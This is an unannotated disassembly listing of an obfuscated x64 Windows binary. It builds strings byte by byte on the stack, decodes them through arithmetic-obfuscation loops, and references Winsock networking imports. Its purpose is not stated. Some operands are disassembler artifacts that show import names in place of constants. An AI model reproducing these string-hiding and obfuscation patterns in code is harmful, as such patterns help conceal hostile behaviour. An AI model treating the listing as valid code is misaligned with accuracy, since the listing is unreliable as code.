movabs rdx, 0x3ac9b21a60d7084f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x29
jmp 0x14011076f
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401104fb
movabs rdx, 0x64f5492914babff5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x4d
jmp 0x1401106db
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140110528
movabs rcx, 0x8112588837528fb9
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xf
jmp 0x1401107e0
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140110557
movabs rdx, 0x9d2f67e759ea5f7d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6b
add dil, dl
jmp 0x140110846
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140110351
movabs rcx, 0xab3def96eb36475f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x67
jmp 0x140110899
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401105a5
movabs rdx, 0x4e6242cdd6740b14
mov ecx, Ordinal_60
jmp 0x1401103d6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401105cf
movabs rdx, 0x6a7f522cf90bdad8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14011066f
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401105ff
movabs rdx, 0xa2b970eb3e3b7a60
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401107bc
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x14011038f
movabs rdx, 0xbed6804a60d34a24
mov ecx, 2
jmp 0x1401102db
movabs rdx, 0xdaf38fa9836b19e8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x6b0]
sub dil, al
sub dil, 0x58
add dil, r8b
jmp 0x1401106db
movabs rdx, 0xe902175914b701ca
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x6b0]
add dil, r8b
add dil, dl
jmp 0x140110814
movabs rcx, 0x921b55df914829b7
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r14b
jmp 0x140110899
movabs rdx, 0x75fe46806eb059f3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x5b
jmp 0x140110672
movabs rdx, 0x4bd2af71bacca24d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1b
add dil, dl
movabs rcx, 0x61fad3814c110dd9
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x11
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x6b0], cl
add rbx, r10
jmp 0x1401107e0
movabs rcx, 0x3dc427c22980ba6b
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x13
jmp 0x1401107bc
movabs rdx, 0x21a7186306e8eaa7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x6f
jmp 0x14011076f
movabs rdx, 0x58a0903e4511ae3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x35
add dil, dl
movabs rcx, 0x53ec4bd1bac525f7
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x3f
add r8b, cl
mov byte [rbp + r9 + 0x6b0], r8b
add r10, r14
jmp 0x1401107bc
movabs rcx, 0xe96cf9a4c1b94b1f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x27
sub r9, r14
jmp 0x1401108a8
movabs rcx, 0xbf4162960dd59379
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x4f
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401108a8
mov r8, rdx
movabs rcx, 0xb132dae67c89ab97
add rcx, r9
and dl, cl
add dl, dl
mov dil, r8b
sub dil, dl
sub dil, 0x21
add dil, cl
movabs rdx, 0x70095b30dd5cf5bb
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x1d
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x6b0], al
add r10, r14
add rax, r10
sub r9, rax
movabs rdx, 0xf7109f08a602e9ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x6b0], cl
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140110899
movabs rcx, 0x9515cb8759f1dbd3
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0x3b
movzx eax, byte [rbp + r9 + 0x6b0]
add rax, r10
add r9, rax
add r9, r14
jmp 0x14010fe8b
movabs rcx, 0x26c63f1b3e37bc35
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x73
jmp 0x14010fe88
movabs rcx, 0x18b7b76bacebd453
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x45
jmp 0x14010fe78
lea rdx, [rbp + 0x17fec9c]
jmp 0x140110911
lea rdx, [rbp + 0xe5e08d]
jmp 0x140110911
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x220]
call fcn.1400caa68
mov r12, rax
mov qword [rsp + 0x58], rax
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.1400ca288
nop
lea rcx, [rbp + 0x240]
call fcn.1401aa90c
mov bl, al
lea rcx, [rbp + 0x240]
call fcn.140091ed0
test bl, bl
je 0x1401138cb
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1170]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x260], 0x45
mov byte [rbp + 0x261], 0x75
mov byte [rbp + 0x262], WSASetLastError
mov byte [rbp + 0x263], 0x66
mov byte [rbp + 0x264], 0x76
mov byte [rbp + 0x265], 0x64
mov byte [rbp + 0x266], Ordinal_46
mov byte [rbp + 0x267], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x268], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x269], 0x7d
mov byte [rbp + 0x26a], 0xa
xor eax, eax
mov dword [rbp + 0x26b], eax
mov word [rbp + 0x26f], ax
mov byte [rbp + 0x271], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0x3b16ce24793c580
mov r15d, 0x80
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x12
jae 0x140111446
movzx r8d, byte [rbp + r9 + 0x260]
mov r11, r8
cmp rdi, r9
ja 0x14011143d
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140110a38
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
jmp 0x140110ce3
je 0x1401113ba
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140111336
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401112db
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14011128d
cmp r10, r9
ja 0x140111434
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x140110a9a
movabs rdx, 0x4d8dee8fdf1f3380
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
jmp 0x140110cc0
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140111281
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140111262
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140111240
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14011121e
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140111204
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401111f5
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140110f1e
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x140110f0f
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140110ef0
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x140110ee1
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140110ec2
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140110eb3
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140110e94
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140110e85
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x140110e65
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x140110e56
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x140110af5
lea rdi, [r10 + 0x61]
lea r10, [rdi + 9]
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140111411
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x1401113ee
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140110ceb
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140110cc8
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x140110ca6
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140110e44
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140110e35
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x140110df1
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140110dc6
lea rdi, [r10 + 8]
lea r10, [rdi + 0x400]
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140110db7
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x140110d98
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140110d89
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140110d69
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140110d5a
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x140110d4b
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140110d3c
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140110d2d
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140110d0e
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140110af5
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x61]
jmp 0x140110af5
movabs rcx, 0x1561edcdd3c3c80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140110ae8
movabs rdx, 0xf9f345184e14b180
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
jmp 0x140110a65
movabs rdx, 0xf2906b53beed2680
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
jmp 0x140110a0a
movabs rcx, 0x6c6f747ef8f99c00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x1401112ab
movabs rcx, 0x650c9aba69d21100
jmp 0x140110efa
movabs rcx, 0x5da9c0f5daaa8600
jmp 0x140111068
movabs rdx, 0x5646e7314b82fb00
jmp 0x14011103f
movabs rcx, 0x4ee40d6cbc5b7000
jmp 0x140111016
movabs rcx, 0x478133a82d33e500
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140111324
movabs rdx, 0x401e59e39e0c5a00
jmp 0x140110fef
movabs rcx, 0x38bb801f0ee4cf00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140111389
movabs rcx, 0x3158a65a7fbd4400
jmp 0x140110fc6
movabs rcx, 0x1ee185ef19da6880
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
mov byte [rbp + r9 + 0x260], bl
jmp 0x1401113e6
movabs rcx, 0x177eac2a8ab2dd80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
cmp r10, 0x7a
jb 0x140110de4
movabs rcx, 0x78b1622884e0b100
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx + rcx]
jmp 0x1401112ab
movabs rdx, 0x101bd265fb8b5280
jmp 0x140110f65
movabs rdx, 0x8b8f8a16c63c780
add rdx, r9
jmp 0x140110f2f
movabs rcx, 0xd153975f3abb3500
jmp 0x140110fc6
movabs rdx, 0xc9f0bd9aab93aa00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140111389
movabs rdx, 0xc28de3d61c6c1f00
jmp 0x140110fef
movabs rcx, 0xbb2b0a118d449400
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x140111324
movabs rcx, 0xb3c8304cfe1d0900
jmp 0x140111016
movabs rcx, 0xac6556886ef57e00
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x1401112f9
movabs rcx, 0xa5027cc3dfcdf300
jmp 0x140111068
movabs rcx, 0x9d9fa2ff50a66800
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x1401112d0
movabs rdx, 0x963cc93ac17edd00
jmp 0x140111095
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x140110fb3
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
lea rax, [r10 + rdi]
cmp rax, 0xa
je 0x1401111cd
lea rax, [r10 + 0x61]
cmp rdi, rax
jbe 0x1401110ab
movabs rdx, 0xe146f1eb0e360f80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
cmp rdi, 0x1000
jae 0x1401111a5
lea rax, [r10 + 8]
cmp rdi, rax
jbe 0x140111141
movabs rdx, 0x2ed4e07aed554300
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x140110e0e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140110fdc
movabs rcx, 0x9b1bdd1fbe3e6700
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x1401113d7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140111003
movabs rdx, 0xa9e190a8dc8d7d00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
jmp 0x1401111ee
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011102c
movabs rcx, 0xb8a74431fadc9300
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x140111321
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140111055
movabs rdx, 0xc00a1df68a041e00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x1401112f9
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14011107e
movabs rcx, 0xc76cf7bb192ba900
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x1401112d3
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140110f40
movabs rdx, 0xd632ab44377abf00
add rdx, r9
mov cl, r8b
and cl, dl
add cl, cl
mov bl, r8b
sub bl, cl
add bl, dl
jmp 0x1401112ab
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401110c3
movabs rdx, 0xe8a9cbaf9d5d9a80
jmp 0x140111297
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401110ec
movabs rcx, 0xf76f7f38bbacb080
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14011127c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140111115
movabs rcx, 0x63532c1d9fbc680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
jmp 0x14011125a
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x140110f79
movabs rcx, 0x23c099d41699f280
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
jmp 0x1401113d4
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140111159
movabs rcx, 0x3637ba3f7c7cce00
jmp 0x140110fc6
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140111171
movabs rdx, 0x3d9a94040ba45900
jmp 0x140110e6f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140111189
movabs rcx, 0x4c60478d29f36f00
jmp 0x140110e9e
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140110e0e
movabs rcx, 0x53c32151b91afa00
jmp 0x140111016
movabs rdx, 0x80143bed14083c00
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x260]
sub bl, al
add bl, dl
add bl, r8b
jmp 0x1401112f9
movabs rdx, 0x877715b1a32fc700
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x260]
add bl, dl
jmp 0x140111357
movabs rcx, 0x90079678e7831680
jmp 0x14011112c
movabs rdx, 0x8141e2efc9340080
add rdx, r9
mov al, r8b
and al, dl
mov bl, r8b
jmp 0x14011134e
movabs rcx, 0x79df092b3a0c7580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140111324
movabs rcx, 0x727c2f66aae4ea80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x140111321
movabs rcx, 0x63b67bdd8c95d480
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, r15b
jmp 0x1401112d3
movabs rdx, 0x54f0c8546e46be80
jmp 0x140111297
movabs rdx, 0x462b14cb4ff7a880
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
movabs rcx, 0x7c62cf0acc747680
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
add r8b, r15b
mov byte [rbp + r9 + 0x260], r8b
add r10, r14
sub r9, r14
jmp 0x1401113e6
movabs rdx, 0x3002877da2810780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
movabs rdx, 0x83c5a8cf5b9c0180
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, dl
add cl, r8b
add cl, r15b
mov byte [rbp + r9 + 0x260], cl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401113e6
mov r8, r11
movabs rdx, 0x19d9fa2ff50a6680
add rdx, r9
mov al, dl
and al, r11b
mov bl, r11b
add al, al
sub bl, al
add bl, dl
add bl, r15b
movabs rdx, 0x8b288293eac38c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
add cl, r15b
movzx eax, cl
mov byte [rbp + r9 + 0x260], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0x8ed9ef7632575200
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r9 + 0x260], r8b
add rdi, r14
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401113d7
movabs rcx, 0xb1446a6d6bb5080
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, r15b
movzx eax, byte [rbp + r9 + 0x260]
add rax, r10
add r9, rax
add r9, r14
jmp 0x1401109f7
movabs rcx, 0xeb2d918f2fc59b80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x1401109f4
movabs rcx, 0xe3cab7caa09e1080
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x1401109e4
lea rdx, [rbp + 0x148b460]
jmp 0x14011144d
lea rdx, [rbp + 0x9c79e0]
jmp 0x14011144d
lea rdx, [rbp + 0x260]
mov dword [rsp + 0x20], r14d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1170]
call fcn.140089cb0
nop
cmp qword [rbp + 0x11f8], 0
je 0x1401138b9
mov byte [rbp + 0xd40], __WSAFDIsSet
mov byte [rbp + 0xd41], 0xe1
mov byte [rbp + 0xd42], 0xf2
mov byte [rbp + 0xd43], 0xf6
mov byte [rbp + 0xd44], 0xe6
mov byte [rbp + 0xd45], 0x88
mov byte [rbp + 0xd46], 0x46
mov byte [rbp + 0xd47], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd48], 0xea
mov byte [rbp + 0xd49], 0xf6
mov byte [rbp + 0xd4a], 0xee
mov byte [rbp + 0xd4b], 0xfe
mov byte [rbp + 0xd4c], 0xff
mov byte [rbp + 0xd4d], 0xed
mov byte [rbp + 0xd4e], 0x87
mov byte [rbp + 0xd4f], Ordinal_143
mov byte [rbp + 0xd50], Ordinal_143
mov byte [rbp + 0xd51], 0x3d
mov byte [rbp + 0xd52], 0xfd
mov byte [rbp + 0xd53], Ordinal_60
mov byte [rbp + 0xd54], 0xe8
mov byte [rbp + 0xd55], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd56], Ordinal_143
mov byte [rbp + 0xd57], 0x9d
mov byte [rbp + 0xd58], Ordinal_143
mov byte [rbp + 0xd59], 0x86
mov byte [rbp + 0xd5a], 0x9f
mov byte [rbp + 0xd5b], 0x9c
mov byte [rbp + 0xd5c], Ordinal_50
mov byte [rbp + 0xd5d], 0xe8
mov byte [rbp + 0xd5e], 0x9c
mov byte [rbp + 0xd5f], 0x83
mov byte [rbp + 0xd60], __WSAFDIsSet
mov byte [rbp + 0xd61], __WSAFDIsSet
mov byte [rbp + 0xd62], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd63], 0x85
mov byte [rbp + 0xd64], 0x84
mov byte [rbp + 0xd65], r15b
mov byte [rbp + 0xd66], Ordinal_41
mov byte [rbp + 0xd67], 0xed
mov byte [rbp + 0xd68], 0x9d
mov byte [rbp + 0xd69], __WSAFDIsSet
mov byte [rbp + 0xd6a], __WSAFDIsSet
mov byte [rbp + 0xd6b], 0xe2
mov byte [rbp + 0xd6c], Ordinal_143
mov byte [rbp + 0xd6d], 0x98
mov byte [rbp + 0xd6e], 0xad
mov byte [rbp + 0xd6f], 0xad
mov byte [rbp + 0xd70], Ordinal_32
mov byte [rbp + 0xd71], 0xc1
mov byte [rbp + 0xd72], 0xa7
mov byte [rbp + 0xd73], 0xb7
mov byte [rbp + 0xd74], 0xa5
mov byte [rbp + 0xd75], 0xa6
mov byte [rbp + 0xd76], 0xba
mov byte [rbp + 0xd77], 0xaa
mov byte [rbp + 0xd78], 0xa8
mov byte [rbp + 0xd79], reloc.WS2_32.dll_setsockopt
mov byte [rbp + Ordinal_217a], 0xd7
mov byte [rbp + 0xd7b], reloc.WS2_32.dll_send
mov byte [rbp + 0xd7c], 0xe5
mov byte [rbp + 0xd7d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xd7e], 0xc9
mov byte [rbp + 0xd7f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd80], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xd81], 0xb0
mov byte [rbp + 0xd82], 0xa5
mov byte [rbp + 0xd83], 0xa4
mov byte [rbp + 0xd84], 0xc9
mov byte [rbp + 0xd85], 0xb2
mov byte [rbp + 0xd86], 0xbb
mov byte [rbp + 0xd87], 7
mov byte [rbp + 0xd88], 0xf6
mov byte [rbp + 0xd89], 0xaa
mov byte [rbp + 0xd8a], 0xa9
mov byte [rbp + 0xd8b], Ordinal_200
mov byte [rbp + 0xd8c], 0xbe
mov byte [rbp + 0xd8d], 0xaf
mov byte [rbp + 0xd8e], 0x3f
mov byte [rbp + reloc.WS2_32.dll_listen8f], 0xd
mov byte [rbp + 0xd90], 0xfc
mov byte [rbp + 0xd91], Ordinal_50
mov byte [rbp + 0xd92], Ordinal_79
mov byte [rbp + 0xd93], 0xfb
mov byte [rbp + 0xd94], Ordinal_46
mov byte [rbp + 0xd95], 0x54
mov byte [rbp + 0xd96], 0x58
mov byte [rbp + 0xd97], 0x48
mov byte [rbp + 0xd98], Ordinal_79
mov byte [rbp + 0xd99], gethostname
mov byte [rbp + 0xd9a], 0x5d
mov byte [rbp + 0xd9b], Ordinal_79
mov byte [rbp + 0xd9c], 0xf0
mov byte [rbp + 0xd9d], gethostname
mov byte [rbp + 0xd9e], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd9f], xmm0
mov byte [rbp + 0xdaf], al
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x70
jae 0x1401122f5
movzx r8d, byte [rbp + r9 + 0xd40]
mov r11, r8
cmp rbx, r9
ja 0x1401122ec
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140111785
movabs rcx, 0x32bb86de180626b2
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x22
jmp 0x1401117bf
je 0x140112260
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401121d2
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14011219d
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140112177
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140112130
cmp r10, r9
ja 0x1401122e3
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x1401117f1
movabs rcx, 0x29621037f8812c9a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x36
jmp 0x140111832
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14011210c
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401120e9
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401120bf
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140112098
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140112075
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140111dec
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140111dc9
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140111da6
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140111d7f
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140111d5e
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140111d3b
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x140111d18
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x140111cf7
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140111cd0
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140111cad
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14011183f
lea rbx, [r10 + 0x41]
lea r10, [rbx + 0x7a]
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401122bc
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140112299
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140111a42
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140111a1b
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401119f4
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x140111c4e
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x140111bf6
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140111ba6
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140111b7b
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x14011183f
lea rbx, [r10 + 0x40]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140111b54
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140111b40
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140111b1d
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140111afa
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140111ae6
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140111ac3
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x140111aa0
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140111a79
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140111a65
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14011183f
lea rbx, [r10 + 3]
lea r10, [rbx + 2]
jmp 0x14011183f
